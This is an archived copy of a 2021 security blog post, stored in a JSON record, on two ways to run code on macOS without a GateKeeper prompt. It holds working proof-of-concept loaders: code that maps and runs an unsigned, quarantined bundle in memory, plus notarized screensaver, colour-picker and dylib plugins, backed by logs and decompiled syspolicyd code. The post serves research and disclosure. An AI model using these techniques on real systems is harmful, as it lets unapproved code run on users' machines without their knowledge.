{
	"id": "28605724-8690-4505-9fc7-3da46a064112",
	"created_at": "2026-04-06T01:29:16.291469Z",
	"updated_at": "2026-04-10T13:12:59.812102Z",
	"deleted_at": null,
	"sha1_hash": "78d9a5d8b0449ee837b71486a686675389068941",
	"title": "GateKeeper - Not a Bypass (Again)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 211308,
	"plain_text": "GateKeeper - Not a Bypass (Again)\r\nBy Csaba Fitzl\r\nPublished: 2021-06-29 · Archived: 2026-04-06 01:18:04 UTC\r\nThis post is about two techniques that can be useful for someone to evade GateKeeper in a red team engagement\r\nor pentest. According to Apple these are not considered bypasses, and everything works as expected.\r\nmmap Link to heading\r\nPart of GateKeeper is implemented on macOS in the Quarantine.kext kernel extension. It uses the MAC policy\r\nframework to insert hooks on the system on various points. These functions are named as hook*. Let’s take a look\r\non what is implemented.\r\ncsaby@mac ~ % nm /System/Library/Extensions/Quarantine.kext/Contents/MacOS/Quarantine | grep hook\r\n0000000000001a4a t _hook_cred_check_label_update\r\n0000000000001a01 t _hook_cred_check_label_update_execve\r\n0000000000001a73 t _hook_cred_label_associate\r\n0000000000001b26 t _hook_cred_label_destroy\r\n0000000000001c1f t _hook_cred_label_update\r\n0000000000001b43 t _hook_cred_label_update_execve\r\n0000000000001d11 t _hook_mount_label_associate\r\n0000000000007fd0 s _hook_mount_label_associate.empty\r\n0000000000001e71 t _hook_mount_label_destroy\r\n0000000000001ec1 t _hook_mount_label_internalize\r\n0000000000007db0 s _hook_mount_label_internalize._os_log_fmt\r\n0000000000002007 t _hook_policy_init\r\n0000000000002073 t _hook_policy_initbsd\r\n000000000000209c t _hook_policy_syscall\r\n000000000000739d t _hook_policy_syscall.cold.1\r\n000000000000743f t _hook_policy_syscall.cold.10\r\n00000000000073af t _hook_policy_syscall.cold.2\r\n00000000000073c1 t _hook_policy_syscall.cold.3\r\n00000000000073d3 t _hook_policy_syscall.cold.4\r\n00000000000073e5 t _hook_policy_syscall.cold.5\r\n00000000000073f7 t _hook_policy_syscall.cold.6\r\n0000000000007409 t _hook_policy_syscall.cold.7\r\n000000000000741b t _hook_policy_syscall.cold.8\r\n000000000000742d t _hook_policy_syscall.cold.9\r\n0000000000004338 t _hook_proc_notify_exec_complete\r\n0000000000007451 t _hook_proc_notify_exec_complete.cold.1\r\n000000000000442e t _hook_vnode_check_exec\r\n0000000000004468 t _hook_vnode_check_setextattr\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 1 of 10\n\n0000000000004551 t _hook_vnode_notify_create\r\n0000000000007f60 s _hook_vnode_notify_create._os_log_fmt\r\n0000000000007463 t _hook_vnode_notify_create.cold.1\r\n0000000000004b37 t _hook_vnode_notify_deleteextattr\r\n0000000000004d6d t _hook_vnode_notify_link\r\n0000000000004b41 t _hook_vnode_notify_open\r\n0000000000004908 t _hook_vnode_notify_rename\r\n0000000000001cbe t _hook_vnode_notify_setacl\r\n0000000000001cc8 t _hook_vnode_notify_setattrlist\r\n0000000000001cd2 t _hook_vnode_notify_setextattr\r\n0000000000001cdc t _hook_vnode_notify_setflags\r\n0000000000001ce6 t _hook_vnode_notify_setmode\r\n0000000000001cf0 t _hook_vnode_notify_setowner\r\n0000000000001cfa t _hook_vnode_notify_setutimes\r\n0000000000001d04 t _hook_vnode_notify_truncate\r\nWhat stands out that any hook related to memory mapping (mmap) is missing. This gave me the idea for a GK\r\nbypass.\r\nNot a Vulnerability Link to heading\r\nPatrick Wardle had a talk a couple of years ago about GK issues, which can be found here: Gatekeeper Exposed\r\nHe showed that during that time someone could bypass GK with loading a dylib external to the main application.\r\nSince then this has been fixed, and if someone calls dlopen from the application on any quarantined binary, it\r\nwill fail. It will produce an error message like this.\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 2 of 10\n\nThe problem is that an attacker can load a dylib through other means as well, using the deprecated\r\nNSCreateObjectFileImageFromMemory API.\r\nWhat we can do is call this API on any dynamic library outside of our bundle, which can be even unsigned and\r\nhave the quarantine flag, and it will be still loaded and executed.\r\nThe following code snippet does it.\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 3 of 10\n\nNSObjectFileImage fileImage = NULL;\r\nNSModule module = NULL;\r\nNSSymbol symbol = NULL;\r\nstruct stat stat_buf;\r\nvoid (*function)();\r\nint fd = open(\"/Volumes/QB/test.bundle\", O_RDONLY, 0);\r\nfstat(fd, \u0026stat_buf);\r\nvoid* codeAddr = mmap(NULL, stat_buf.st_size, PROT_READ, MAP_FILE | MAP_PRIVATE, fd, 0);\r\nclose(fd);\r\nNSCreateObjectFileImageFromMemory(codeAddr, stat_buf.st_size, \u0026fileImage);\r\nmodule = NSLinkModule(fileImage, \"module\", NSLINKMODULE_OPTION_NONE);\r\nsymbol = NSLookupSymbolInModule(module, \"_execute\");\r\nfunction = NSAddressOfSymbol(symbol);\r\nfunction();\r\nNSUnLinkModule(module, NSUNLINKMODULE_OPTION_NONE);\r\nNSDestroyObjectFileImage(fileImage);\r\nNot Exploitation Link to heading\r\nI developed a simple App, called QB.app, which I notarized and it will load this binary from the path above\r\n( /Volumes/QB/test.bundle ). The app is packed inside a DMG with this test.bundle . The code of this binary\r\nis very simple.\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n__attribute__((constructor))\r\nvoid custom(int argc, const char **argv)\r\n{\r\nprintf(\"Executed constructor!\\n\");\r\nsystem(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");\r\n}\r\nvoid execute()\r\n{\r\nprintf(\"Executed execute!\\n\");\r\nsystem(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");\r\n}\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 4 of 10\n\nIt has a constructor and an execute function. Both print a message and start Calculator.\r\nIf we load this from our app it will start Calculator twice (once the first is closed), because the constructor will be\r\ncalled and also the execute function.\r\nI also added a line to my app to try to do the same load with dlopen to show that it doesn’t work:\r\ndlopen(\"/Volumes/QB/test.bundle\",1);\r\nWhen this is invoked we will get the popup shown above.\r\nHowever on the dynamic mapping it will be loaded and Calculator will be executed.\r\nNote, that test.bundle is unsigned!\r\nImplications Link to heading\r\nThis allows someone to create a fully legitimate application, which runs mmap , notarize it and later load any\r\nexternal bundle, dylib. If supplied through the network it doesn’t even have to be included in the distributed\r\npackage.\r\nI think Apple should really monitor mmap operation and disallow the load of quarantined code, or code\r\ndowloaded over the network.\r\nDynamic Libraries Bypass Gatekeeper Link to heading\r\nI found this odd behavior when I wrote about screensavers for my Beyond the good ol’ LaunchAgents series. I\r\nnoticed that if I place a downloaded screensaver in its location, it will be loaded without any user prompts, which\r\nwas really weird as I expected GateKeeper to shout in my face.\r\nLet’s see what goes on.\r\nScreensavers Link to heading\r\nWhen users download a screen saver bundle ( .saver ) and instead of double clicking the screen saver for\r\ninstallation, directly place it in the ~/Library/Screen Saver directory, the system will load the screen saver if\r\nthe users select it in the screen saver preferences. There is no alert that they are trying to execute an app\r\ndownloaded form the Internet.\r\nThe screen saver has to be notarized, or signed with an old certificate in order to avoid a prompt. Even if an app is\r\nnotarized an alert should be generated at first execution by Gatekeeper.\r\nI created a simple screen saver with the following code, to see which part is executed.\r\n//\r\n// DemoScreenView.m\r\n// DemoScreen\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 5 of 10\n\n//\r\n// Created by csaby on 2021. 05. 26..\r\n//\r\n#import \"DemoScreenView.h\"\r\n__attribute__((constructor))\r\nvoid custom(int argc, const char **argv)\r\n{\r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\n}\r\n@implementation DemoScreenView\r\n- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview\r\n{\r\n \r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\n self = [super initWithFrame:frame isPreview:isPreview];\r\n if (self) {\r\n [self setAnimationTimeInterval:1/30.0];\r\n }\r\n return self;\r\n}\r\n- (void)startAnimation\r\n{\r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\n [super startAnimation];\r\n}\r\n- (void)stopAnimation\r\n{\r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\n [super stopAnimation];\r\n}\r\n- (void)drawRect:(NSRect)rect\r\n{\r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\n [super drawRect:rect];\r\n}\r\n- (void)animateOneFrame\r\n{\r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 6 of 10\n\nreturn;\r\n}\r\n- (BOOL)hasConfigureSheet\r\n{\r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\n return NO;\r\n}\r\n- (NSWindow*)configureSheet\r\n{\r\n NSLog(@\"hello_screensaver %s\", __PRETTY_FUNCTION__);\r\n return nil;\r\n}\r\n@end\r\nAs soon as it’s selected it will be loaded, and run what we can see in the logs\r\ncsaby@bigsur ~ % log stream | grep hello_screensaver\r\n2021-05-28 08:43:59.329660-0700 0x1eb6 Default 0x6b54 692 0 legacyScreenSaver: (Demo\r\n2021-05-28 08:43:59.329945-0700 0x1eb6 Default 0x6b54 692 0 legacyScreenSaver: (Demo\r\n2021-05-28 08:43:59.330051-0700 0x1eb6 Default 0x6b54 692 0 legacyScreenSaver: (Demo\r\n2021-05-28 08:43:59.330178-0700 0x1eb6 Default 0x6b54 692 0 legacyScreenSaver: (Demo\r\n2021-05-28 08:43:59.330981-0700 0x1eb6 Default 0x0 692 0 legacyScreenSaver: (Demo\r\n2021-05-28 08:43:59.845980-0700 0x1eb6 Default 0x6b54 692 0 legacyScreenSaver: (Demo\r\n2021-05-28 08:43:59.846471-0700 0x1eb6 Default 0x6b54 692 0 legacyScreenSaver: (Demo\r\nIf the screen saver wasn’t installed through a double click it should generate an alert just as when it’s not\r\nnotarized.\r\nColorPickers Link to heading\r\nI went on to explore other bundles, and noticed the same behavior with ColorPickers.\r\nSystem wide color picker plugins are loaded by the process\r\n/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64 . Plugins are stored in\r\n~/Library/ColorPickers .\r\nSimilarly to screen savers, if a color picker is notarized (or signed with an old certificate), and we place the plugin\r\nin ~/Library/ColorPickers it will be loaded. There is no user prompt generated.\r\nA user prompt will only be generated if the plugin is not notarized, and signed with a new certificate.\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 7 of 10\n\nSomeone can easily fool a user to copy the plugin into the right folder, and from that point the code can run once\r\nthey start any application that loads color pickers, like Pages.\r\nPreference panes Link to heading\r\nThe system preferences pane uses the\r\n/System/Library/Frameworks/PreferencePanes.framework/Versions/A/XPCServices/legacyLoader-x86_64.xpc/Contents/MacOS/legacyLoader-x86_64 binary to load external plugin from\r\n~/Library/PreferencePanes .\r\nSimilarly to screen savers, if a preference pane is notarized (or signed with an old certificate), and we place the\r\nplugin in ~/Library/PreferencePanes it will be loaded. There is no user prompt generated. The same story.\r\nIt started to show a pattern, that every bundle which is loaded into a process gets executed, so I decided to\r\ninvestigate it.\r\nThe Root Cause Link to heading\r\nTo test my theory I created a dylib, which simply logs a message.\r\n#import \u003cFoundation/Foundation.h\u003e\r\n__attribute__((constructor))\r\nvoid custom(int argc, const char **argv)\r\n{\r\n NSLog(@\"hello_dylib %s\", __PRETTY_FUNCTION__);\r\n}\r\nand an executable, which loads the dylib.\r\n#import \u003cdlfcn.h\u003e\r\nint main(void)\r\n{\r\n dlopen(\"log.dylib\", RTLD_LAZY);\r\n}\r\nThen I notarized the dylib, and downloaded it so it got a quarantine flag. Then started the executable and the dylib\r\nwas loaded without any prompts. This was really weird.\r\nThus I decided to take a look at the GK logs from syspolicyd . The following shows the syspolicyd logs\r\nconcerning the load of the log.dylib .\r\n2021-06-01 22:47:50.789451+0200 0x1a504f Debug 0x0 144 0 syspolicyd: (Security)\r\n2021-06-01 22:47:50.789676+0200 0x1a504f Debug 0x0 144 0 syspolicyd: (LaunchServi\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 8 of 10\n\n2021-06-01 22:47:50.789706+0200 0x1a504f Debug 0x0 144 0 syspolicyd: (Security) [\r\n2021-06-01 22:47:50.789817+0200 0x1a504f Debug 0x0 144 0 syspolicyd: (Security) [\r\n2021-06-01 22:47:50.789908+0200 0x1a504f Debug 0x0 144 0 syspolicyd: (Security) [\r\n2021-06-01 22:47:50.789956+0200 0x1a504f Debug 0x0 144 0 syspolicyd: (Security) [\r\n2021-06-01 22:47:50.790038+0200 0x1a513a Debug 0x0 144 0 syspolicyd: pid 144 requ\r\n2021-06-01 22:47:50.790078+0200 0x1a513a Info 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.792467+0200 0x1a513a Info 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.792516+0200 0x1a504f Debug 0x0 144 0 syspolicyd: (Security) [\r\n2021-06-01 22:47:50.792584+0200 0x1a504f Info 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.792916+0200 0x1a504f Info 0x0 144 0 syspolicyd: (CoreAnalyti\r\n2021-06-01 22:47:50.792966+0200 0x1a504f Info 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.793007+0200 0x1a513a Info 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.793048+0200 0x1a513a Default 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.793068+0200 0x1a513a Info 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.793084+0200 0x1a513a Info 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.793202+0200 0x1a513a Default 0x0 144 0 syspolicyd: [com.apple.s\r\n2021-06-01 22:47:50.794058+0200 0x1a513a Debug 0x0 144 0 syspolicyd: (Security) [\r\n2021-06-01 22:47:50.794215+0200 0x1a513a Debug 0x0 144 0 syspolicyd: (Security) [\r\n2021-06-01 22:47:50.794247+0200 0x1a513a Debug 0x0 144 0 syspolicyd: (LaunchServi\r\n2021-06-01 22:47:50.794318+0200 0x1a513a Debug 0x0 144 0 syspolicyd: (Security) [\r\nIf yo don’t find it, let me highlight the key part:\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Library loads never require a first launch prompt.\r\nLooks like it’s a design decision not to generate prompt on library loads. We can find this if we reverse\r\nsyspolicyd . /usr/libexec/syspolicyd has the method\r\ndetermineGatekeeperEvaluationTypeForTarget:withResponsibleTarget: :\r\nunsigned __int64 __cdecl -[EvaluationPolicy determineGatekeeperEvaluationTypeForTarget:withResponsibleTarget:](\r\n EvaluationPolicy *self,\r\n SEL a2,\r\n id a3,\r\n id a4)\r\n{\r\n...\r\n if ( (unsigned __int8)objc_msgSend(v5, \"triggeredByLibraryLoad\") )\r\n {\r\n v12 = +[SBRUtilities alertIcon]_3(\u0026OBJC_CLASS___SPLog, \"exec\");\r\n v13 = (os_log_s *)objc_retainAutoreleasedReturnValue(v12);\r\n if ( os_log_type_enabled(v13, OS_LOG_TYPE_INFO) )\r\n {\r\n LOWORD(buf) = 0;\r\n _os_log_impl(\r\n (void *)\u0026_mh_execute_header,\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 9 of 10\n\nv13,\r\n OS_LOG_TYPE_INFO,\r\n \"Library loads never require a first launch prompt.\",\r\n (uint8_t *)\u0026buf,\r\n 2u);\r\n }\r\n v14 = v13;\r\n }\r\nHere we can find the log messages that we saw in the logs.\r\nImplications Link to heading\r\nShared libraries, like dylibs, frameworks, plugins, etc… will be loaded by macOS without any user prompt if they\r\nwere notarized. This bypasses Gatekeeper effectively as an attacker has plenty of options to get the user to drag\r\nand drop a plugin to a certain location, or drag and drop a framework to an existing application overwriting a\r\nprevious one. Once the shared library is in its place it can be loaded.\r\nNote that Gatekeeper will also accept libraries signed in the past pre-notarization. The only case it will generate a\r\npopup and refuse to load it, if it was signed recently and wasn’t notarized or if it’s unsigned. This is different from\r\nregular applications as in those cases the user has to approve load even if the app was notarized. This should be\r\nthe case also for shared libraries.\r\nConclusion Link to heading\r\nAccording to Apple these are not considered bypasses, which I disagree with. Any clever person can use these\r\ntechniques to stay under the radar and get code execution on a user’s box without generating prompts for the user.\r\nSource: https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nhttps://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"
	],
	"report_names": [
		"gatekeeper_not_a_bypass"
	],
	"threat_actors": [],
	"ts_created_at": 1775438956,
	"ts_updated_at": 1775826779,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/78d9a5d8b0449ee837b71486a686675389068941.pdf",
		"text": "https://archive.orkl.eu/78d9a5d8b0449ee837b71486a686675389068941.txt",
		"img": "https://archive.orkl.eu/78d9a5d8b0449ee837b71486a686675389068941.jpg"
	}
}